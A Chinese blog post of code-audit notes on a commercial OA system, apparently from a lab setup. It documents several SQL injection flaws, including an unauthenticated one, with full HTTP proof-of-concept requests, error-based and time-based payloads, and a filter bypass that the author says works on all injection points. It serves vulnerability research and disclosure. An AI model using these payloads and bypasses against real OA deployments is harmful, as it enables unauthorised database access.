前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【学习】某OA代码审计笔记

【学习】某OA代码审计笔记

作者头像
UzJu@菜菜狗
发布2022-09-22 15:53:33
8200
发布2022-09-22 15:53:33
举报
文章被收录于专栏:UzJu和菜菜狗

环境搭建

Windows搭建

推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署

一键安装,安装好了之后会提示系统已经到期了,去setup看一眼

到6月1号,不过没事,这里改系统时间就可以了

成功登录

idea搭建

云网OA 首先照着这里的设置,设置完了之后,导入数据库,导入之后需要改链接配置 yimioa/c-core/src/main/resources/application.properties 修改mysql连接的信息,然后启动就行

image-20220802123332386
image-20220802123332386

不过idea启动,BUG多,而且报错多,这里是idea静态看代码

代码审计

前台

1、【前台】<6.1版本未授权SQL注入

通过apikit的接口fuzz找到了一个可以未授权请求的接口,在代码中找到对应实现方法 前提:这个洞有个条件,就是需要小于6.1的版本,具体为什么直接上代码src/main/java/com/cloudweb/oa/controller/ApplicationController.java

上边的不需要管,具体注意下面的if(isValid)

首先是从配置里边获取版本

获取到版本6.1,然后就开始版本判断了

判断是否小于3

判断是否小于4

判断是否小于5

判断是否等于6

那么在这里利用的条件就是,版本需要在<=6的版本才可以成功 故此改一下版本

还需要再改一个位置,需要将数据库的版本也更改了,不然登录的时候会提示版本不一致,数据库与配置文件版本判断类在src/main/java/com/cloudweb/oa/service/LoginService.java

在数据库中的oa_sys_ver表中更改version字段的值即可

改完之后重启一下tomcat,随后请求指定的接口,不需要登录

代码语言:javascript
复制
 POST /oa/setup/checkPool?database=test' HTTP/1.1 
Host: 172.16.140.186:8088 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Content-Length: 2

发现这里的返回,会提示SQL语句报错

这里直接用extractvalueuser带出来

POC

代码语言:javascript
复制
 and+(extractvalue(,concat(0x7e,(select+user()),0x7e)))--+

HTTP

代码语言:javascript
复制
POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1 
Host: 172.16.140.186:8088 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Content-Length: 2 

后台

1、【后台】人事-人事信息-orderbyGET参数SQL注入

代码语言:javascript
复制
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT++FROM+(SELECT(SLEEP()))a)&sort=desc&unitCode=& HTTP/1.1 
Host: 192.168.0.35:9888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: application/json 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.0.35:9888/oa/swagger-ui.html 
Origin: http://192.168.0.35:9888 
Connection: close 
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl 
Content-Length: 137 
page=1&limit=20&realname_cond=0&realname=test18&sex=&sex_cond=1&dept=&dept_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode= 

SQL注入Bypass(通杀该OA所有注入点)

上面的注入payload如下

代码语言:javascript
复制
id+AND+(SELECT++FROM+(SELECT(SLEEP()))a) 

这里环境是idea起的,但是idea有很多报错,很多功能都无法使用,我就换成了Windows一键部署

搭建好了之后,用idea远程调试

再尝试复现这个漏洞的时候,会提示XSS拦截

当时就很好奇,为什么这是XSS拦截了,不是SQL拦截呢?看一下代码

具体的检测逻辑在SecurityUtil.java中的filter方法,来具体看这里的代码逻辑

简单说一下这里的主要就是获取request参数的值,然后挨个传给下面的检测逻辑

既然刚刚提示XSS攻击,就直接跟入antixss这个方法中查看具体实现逻辑 接下来就会来到Antixss.Java

代码语言:javascript
复制
src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java 

调了antiXSS方法传入需要检测的html和一个true

直接跟进去看

查看antiXSS方法,这里传入了content就是需要检测的内容

这里就是具体的检测逻辑了,但是我这里只看了stripScriptTag方法,因为是这个方法里面的内容检测到了,我们的关注点也只在是什么参数被检测到了

主要是通过正则的方式,并且因为CASEINSENSITIVE的关系,不区分大小写

拉到下面的时候可以看到,其实是and或者sleep被过滤了,新建一个test类,调一下就知道了

去掉AND

语句正常,放回and去掉sleep,语句正常,那么既然这样,把and换成&&,即可

语句正常返回,那么这里返回之后

回到SecurityUtil.java,就会进入SQL注入的逻辑,跟入isValidSqlParam方法

跟入sql_inj方法

and的检测我们已经绕过了,需要绕过第二个框中的代码逻辑

这里主要的逻辑是将inj_str使用|分开,会生成一个列表给到inj_stra[],随后就是遍历该列表,每次循环都会使用indexOf方法判断在inj_stra[i]中的值是否在str中,也就是如果indexOf返回>0的值就存在,反之则不存在,这里也可以写个类调一下

在第六次循环也就是select的时候,被检测到了,那么很明显需要绕过select 这里本来想尝试用

代码语言:javascript
复制
&& extractvalue(,concat('~',database())) 

可惜的是'~'会被检测到XSS,所以这个方法不行

这里的&&需要转成url编码,不然这个请求会报400

所以只能在select这个关键字上想想办法,这里给出绕过的payload

代码语言:javascript
复制
id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a) 

Tips:这里光看截图可能会认为那里可以用SELECT大写绕过,其实在调用sql_inj方法前就会转成小写

所以是没有办法大写去绕过的

代码语言:javascript
复制
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)&sort=desc&unitCode=& HTTP/1.1 
Host: 172.16.140.176:8088 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl 
Content-Length: 15 
page=2&limit=20 

函数实现入口

首先会获取get参数code,如果code参数为空,那么就获取Get参数moduleCode并赋值给code,如果在get参数中没有moduleCode,则获取formCode复制给code,这里传进来的code参数为personbasic

继续往下看

这里是OA开发者自己实现的SQLBuilder类

跟入这个方法

跟如getModuleListSqlAndUrlStr方法,然后会返回一个sql str,继续往下走就是造成SQL注入的地方

跟进这个listResult方法

随后会把语句拼在中间

随后执行executeQuery语句

在这里也会执行一次SQL语句,与上面的区别是,一个是count拼接后的,一个是原始传进来的

随后就是返回,这里执行的时候,需要等待5秒,所以造成了注入

2、【后台】/oa/visual/exportExcel.do接口orderby注入Bypass

漏洞复现
代码语言:javascript
复制
GET /oa/visual/exportExcel.do?code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)&op=&sort=desc&isMine=true HTTP/1.1 
Host: 172.16.140.186:8088 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Cookie: JSESSIONID=339C404636300F5F43B74EC828919D11; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl 

bypass poc

代码语言:javascript
复制
%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a) 

代码审计与函数实现

没有找到对应的web功能点,这里是直接看的静态代码接口审计

orderby,这里的参数,再往下看,因为上面人事功能点那个GET注入已经知道了getModuleListSqlAndUrlStr方法,所以往下面看,直接orderby传进去了

所以造成了SQL注入,如果不是bypass的话,就不会存在问题了,毕竟已经把filter方法绕过了。

3、【后台】/oa/visual/exportWord.do接口orderby注入Bypass

还是静态审计看的代码,不知道功能点

漏洞复现
代码语言:javascript
复制
GET /oa/visual/exportWord.do?code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a) HTTP/1.1 
Host: 172.16.140.186:8088 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Referer: http://172.16.140.186:8088/oa/lte/index.do?mainTitle=&mainPage= 
Cookie: JSESSIONID=A8C9C04D3DEC6CE1C9E64CF061659723; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl 
Upgrade-Insecure-Requests: 1 
Content-Length: 2 

bypass poc

代码语言:javascript
复制
id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a) 

代码审计与函数实现
代码语言:javascript
复制
src/main/java/com/cloudweb/oa/controller/ModuleController.java 
public void exportWord(HttpServletResponse response) throws IOException, ErrMsgException, JSONException 

一眼望去,看到只需要保证ary==null即可

构造参数的时候不构造ids这个GET参数即可

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/71.java

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
    • Windows搭建
      • idea搭建
      • 代码审计
        • 前台
          • 1、【前台】<6.1版本未授权SQL注入
        • 后台
          • 1、【后台】人事-人事信息-orderbyGET参数SQL注入
          • 2、【后台】/oa/visual/exportExcel.do接口orderby注入Bypass
          • 3、【后台】/oa/visual/exportWord.do接口orderby注入Bypass
      相关产品与服务
      代码审计
      代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档